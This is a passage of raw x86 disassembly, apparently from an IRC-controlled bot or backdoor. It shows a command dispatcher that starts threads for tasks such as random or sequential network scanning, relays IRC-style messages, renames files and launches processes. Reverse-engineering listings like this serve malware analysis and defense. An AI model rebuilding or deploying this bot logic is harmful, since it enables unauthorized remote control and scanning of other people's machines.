		jmp	short loc_406C3A
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: sub_401AC7+514Bj
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_433878[ecx]
		mov	[ebp+var_370], ecx


loc_406C3A:				; CODE XREF: sub_401AC7+5134j
					; sub_401AC7+5157j
		cmp	[ebp+var_370], ebx
		jnz	short loc_406C4C
		push	offset unk_42D0B4
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_406C4C:				; CODE XREF: sub_401AC7+5179j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_406C87
		cmp	byte ptr [edi],	23h
		jz	short loc_406C87
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_417E90
		push	78h
		push	edi
		call	sub_4184B0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_406D61
; ---------------------------------------------------------------------------


loc_406C87:				; CODE XREF: sub_401AC7+518Ej
					; sub_401AC7+5193j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_406CA9
		cmp	[ebp+var_8FE], bl
		jnz	short loc_406CA9
		cmp	[ebp+var_8EE], bl
		jnz	short loc_406CA9
		push	offset unk_42D080
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_406CA9:				; CODE XREF: sub_401AC7+51C6j
					; sub_401AC7+51CEj ...
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4C97A4	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_417B00
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_406D5B
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_418340
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_406D4F


loc_406D2D:				; CODE XREF: sub_401AC7+5286j
		cmp	eax, ebx
		jz	short loc_406D4F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_418340
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_406D2D


loc_406D4F:				; CODE XREF: sub_401AC7+5264j
					; sub_401AC7+5268j
		mov	[ebp+var_344], 1
		jmp	short loc_406D61
; ---------------------------------------------------------------------------


loc_406D5B:				; CODE XREF: sub_401AC7+523Ej
		mov	[ebp+var_344], ebx


loc_406D61:				; CODE XREF: sub_401AC7+51BBj
					; sub_401AC7+5292j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_417E90
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_406DB2


loc_406D9F:				; CODE XREF: sub_401AC7+530Ej
		push	esi


loc_406DA0:				; CODE XREF: sub_401AC7+52F8j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_406DDD
; ---------------------------------------------------------------------------


loc_406DB2:				; CODE XREF: sub_401AC7+52D6j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_406DC1
		cmp	byte ptr [eax],	23h
		jnz	short loc_406DC1
		push	eax
		jmp	short loc_406DA0
; ---------------------------------------------------------------------------


loc_406DC1:				; CODE XREF: sub_401AC7+52F0j
					; sub_401AC7+52F5j
		mov	esi, offset dword_425134
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406D9F
		mov	[ebp+var_3F4], bl


loc_406DDD:				; CODE XREF: sub_401AC7+52E9j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_406DEF
		mov	eax, offset aSequential	; "Sequential"


loc_406DEF:				; CODE XREF: sub_401AC7+5321j
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D018
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40B43D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406E7D


loc_406E67:				; CODE XREF: sub_401AC7+53B4j
		cmp	[ebp+var_340], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406E67
; ---------------------------------------------------------------------------


loc_406E7D:				; CODE XREF: sub_401AC7+539Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CFE0
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_406E8E:				; CODE XREF: sub_401AC7+4690j
					; sub_401AC7+46A7j
		push	[ebp+arg_10]
		call	sub_409C07
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_417C89
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CF90
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40B85A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406F83


loc_406F6D:				; CODE XREF: sub_401AC7+54BAj
		cmp	[ebp+var_4D0], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406F6D
; ---------------------------------------------------------------------------


loc_406F83:				; CODE XREF: sub_401AC7+54A4j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF54
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_406F94:				; CODE XREF: sub_401AC7+4653j
					; sub_401AC7+466Aj
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C758[eax], bl
		jz	loc_408A45
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		call	sub_4176F0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42CF48
		push	eax
		call	sub_417D96
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C5D
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C540[eax], 73h
		jnz	loc_408A45
		push	esi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C758
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_407084:				; CODE XREF: sub_401AC7+56BFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		jmp	loc_403BF3
; ---------------------------------------------------------------------------


loc_4070AE:				; CODE XREF: sub_401AC7+4625j
					; sub_401AC7+463Cj
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C758[eax], bl
		jz	loc_408A45
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		call	sub_4176F0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C5D
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C540[eax], 73h
		jnz	loc_408A45
		push	esi
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C758
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_407084
; ---------------------------------------------------------------------------


loc_40718B:				; CODE XREF: sub_401AC7+45F7j
					; sub_401AC7+460Ej
		push	[ebp+arg_10]
		call	dword_4C9838	; inet_addr
		push	edi
		mov	[ebp+var_680], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_417C89
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_417B00
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEEC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40B769
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40726D


loc_407257:				; CODE XREF: sub_401AC7+57A4j
		cmp	[ebp+var_670], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407257
; ---------------------------------------------------------------------------


loc_40726D:				; CODE XREF: sub_401AC7+578Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CFE0
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_40727E:				; CODE XREF: sub_401AC7+45C9j
					; sub_401AC7+45E0j
		push	[ebp+arg_10]
		call	sub_417C89
		mov	[ebp+var_ED8], eax
		push	7Fh
		lea	eax, [ebp+var_FDC]
		push	edi
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		call	sub_417C89
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EDC], eax
		lea	eax, [ebp+var_F5C]
		push	80h
		push	eax
		mov	[ebp+var_FE4], esi
		call	sub_417E90
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_EC8], eax
		push	[ebp+var_EDC]
		lea	eax, [ebp+var_FDC]
		mov	[ebp+var_ECC], edi
		push	eax
		push	[ebp+var_ED8]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEB0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE4]
		push	ebx
		push	eax
		push	offset sub_40F4A2
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407367


loc_407351:				; CODE XREF: sub_401AC7+589Ej
		cmp	[ebp+var_EC4], ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407351
; ---------------------------------------------------------------------------


loc_407367:				; CODE XREF: sub_401AC7+5888j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CE6C
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_407378:				; CODE XREF: sub_401AC7+459Bj
					; sub_401AC7+45B2j
		push	0FFh
		lea	eax, [ebp+var_2128]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	0FFh
		lea	eax, [ebp+var_2028]
		push	edi
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	[ebp+var_1F24],	ebx
		call	sub_417C89
		mov	[ebp+var_1F20],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4073D1
		push	10h
		push	ebx
		push	eax
		call	sub_4182BE
		add	esp, 0Ch
		mov	[ebp+var_1F18],	eax
		jmp	short loc_4073D7
; ---------------------------------------------------------------------------


loc_4073D1:				; CODE XREF: sub_401AC7+58F4j
		mov	[ebp+var_1F18],	ebx


loc_4073D7:				; CODE XREF: sub_401AC7+5908j
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_4073EE
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_1F1C],	eax
		jmp	short loc_4073F4
; ---------------------------------------------------------------------------


loc_4073EE:				; CODE XREF: sub_401AC7+5916j
		mov	[ebp+var_1F1C],	ebx


loc_4073F4:				; CODE XREF: sub_401AC7+5925j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1F14],	eax
		lea	eax, [ebp+var_21A8]
		mov	[ebp+var_21AC],	esi
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_1F0C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F10],	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CE40
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40A203
		add	esp, 28h
		mov	[ebp+var_1F28],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_21AC]
		push	ebx
		push	eax
		push	offset sub_413F23
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1F28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4074A2


loc_40748C:				; CODE XREF: sub_401AC7+59D9j
		cmp	[ebp+var_1F08],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40748C
; ---------------------------------------------------------------------------


loc_4074A2:				; CODE XREF: sub_401AC7+59C3j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CE00
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_4074B3:				; CODE XREF: sub_401AC7+456Dj
					; sub_401AC7+4584j
		push	7Fh
		lea	eax, [ebp+var_2DA0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2D20]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2CA0]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C20]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2B9C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2B98],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2DA4],	esi
		push	offset unk_42CDC4
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	12h
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_2BA0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2DA4]
		push	ebx
		push	eax
		push	offset sub_413446
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2BA0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40758A


loc_407574:				; CODE XREF: sub_401AC7+5AC1j
		cmp	[ebp+var_2B94],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407574
; ---------------------------------------------------------------------------


loc_40758A:				; CODE XREF: sub_401AC7+5AABj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CD8C
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_40759B:				; CODE XREF: sub_401AC7+4440j
					; sub_401AC7+4457j
		push	7Fh
		lea	eax, [ebp+var_2B8C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2B0C]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2A8C]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2A0C]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2988],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2984],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2B90],	esi
		push	offset unk_42CD5C
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_298C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2B90]
		push	ebx
		push	eax
		push	offset sub_412180
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_298C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407672


loc_40765C:				; CODE XREF: sub_401AC7+5BA9j
		cmp	[ebp+var_2980],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40765C
; ---------------------------------------------------------------------------


loc_407672:				; CODE XREF: sub_401AC7+5B93j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CD24
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401AC7+4317j
					; sub_401AC7+432Ej ...
		push	7Fh
		lea	eax, [ebp+var_33E0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_3360]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_32E0]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_3260]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	20h
		lea	eax, [ebp+var_31E0]
		push	[ebp+arg_8]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3160],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_315C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_33E8],	esi
		push	offset unk_42CCF4
		push	eax
		call	sub_417D96
		add	esp, 50h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_33E4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_33E8]
		push	ebx
		push	eax
		push	offset sub_41140D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_33E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40776B


loc_407755:				; CODE XREF: sub_401AC7+5CA2j
		cmp	[ebp+var_3158],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407755
; ---------------------------------------------------------------------------


loc_40776B:				; CODE XREF: sub_401AC7+5C8Cj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CCBC
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_40777C:				; CODE XREF: sub_401AC7+42E9j
					; sub_401AC7+4300j
		push	7Fh
		lea	eax, [ebp+var_1524]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	3Fh
		mov	[ebp+var_13D4],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14A4]
		push	eax
		call	sub_417B00
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4077C7
		push	3Fh
		lea	eax, [ebp+var_1464]
		push	esi
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_4077C7:				; CODE XREF: sub_401AC7+5CECj
		lea	eax, [ebp+var_14A4]
		mov	[ebp+var_13D0],	1
		push	eax
		lea	eax, [ebp+var_1524]
		push	[ebp+var_13D4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CC8C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_13CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1528]
		push	ebx
		push	eax
		push	offset sub_4017E7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_13CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407853


loc_40783D:				; CODE XREF: sub_401AC7+5D8Aj
		cmp	[ebp+var_13C8],	ebx
		jnz	loc_4063FE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40783D
; ---------------------------------------------------------------------------


loc_407853:				; CODE XREF: sub_401AC7+5D74j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CC50
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407864:				; CODE XREF: sub_401AC7+42A9j
					; sub_401AC7+42C0j
		push	edi
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_17A8],	eax
		jle	loc_407951
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1930]
		push	esi
		push	eax
		call	sub_417E90
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_17A4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1934],	eax
		lea	eax, [ebp+var_1830]
		push	esi
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_17A0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_179C],	eax
		push	offset unk_42CC24
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40A203
		add	esp, 38h
		mov	[ebp+var_17B0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1934]
		push	ebx
		push	eax
		push	offset sub_411854
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_17B0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407940


loc_40792E:				; CODE XREF: sub_401AC7+5E77j
		cmp	[ebp+var_1798],	ebx
		jnz	short loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40792E
; ---------------------------------------------------------------------------


loc_407940:				; CODE XREF: sub_401AC7+5E65j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CBEC
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_407951:				; CODE XREF: sub_401AC7+5DACj
		push	offset unk_42CBB4
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40795B:				; CODE XREF: sub_401AC7+427Bj
					; sub_401AC7+4292j
		push	edi
		push	[ebp+arg_10]
		call	dword_4230B4	; MoveFileA
		test	eax, eax
		jz	short loc_407988
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42CB90
		push	200h
		push	eax
		call	sub_417E90


loc_407983:				; CODE XREF: sub_401AC7+2156j
		add	esp, 14h
		jmp	short loc_4079A7
; ---------------------------------------------------------------------------


loc_407988:				; CODE XREF: sub_401AC7+5EA0j
		push	offset dword_42CB84
		call	sub_415221
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_4079A7:				; CODE XREF: sub_401AC7+1C89j
					; sub_401AC7+2935j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4079C8
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4079C0:				; CODE XREF: sub_401AC7+4EEFj
		call	sub_408C5D
		add	esp, 14h


loc_4079C8:				; CODE XREF: sub_401AC7+138Cj
					; sub_401AC7+1E29j ...
		push	1
		pop	esi
		jmp	loc_406422
; ---------------------------------------------------------------------------


loc_4079D0:				; CODE XREF: sub_401AC7+424Dj
					; sub_401AC7+4264j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_417C89
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_407A0F
		mov	[ebp+var_638], 5


loc_407A0F:				; CODE XREF: sub_401AC7+5F3Dj
		cmp	[ebp+var_C], ebx
		jz	loc_4063FE
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4063FE
		lea	eax, [ebp+var_C84]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jnz	short loc_407A58
		push	offset unk_42CB60
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_407A58:				; CODE XREF: sub_401AC7+5F85j
		push	edi
		push	offset dword_42CB44
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401AC7+421Fj
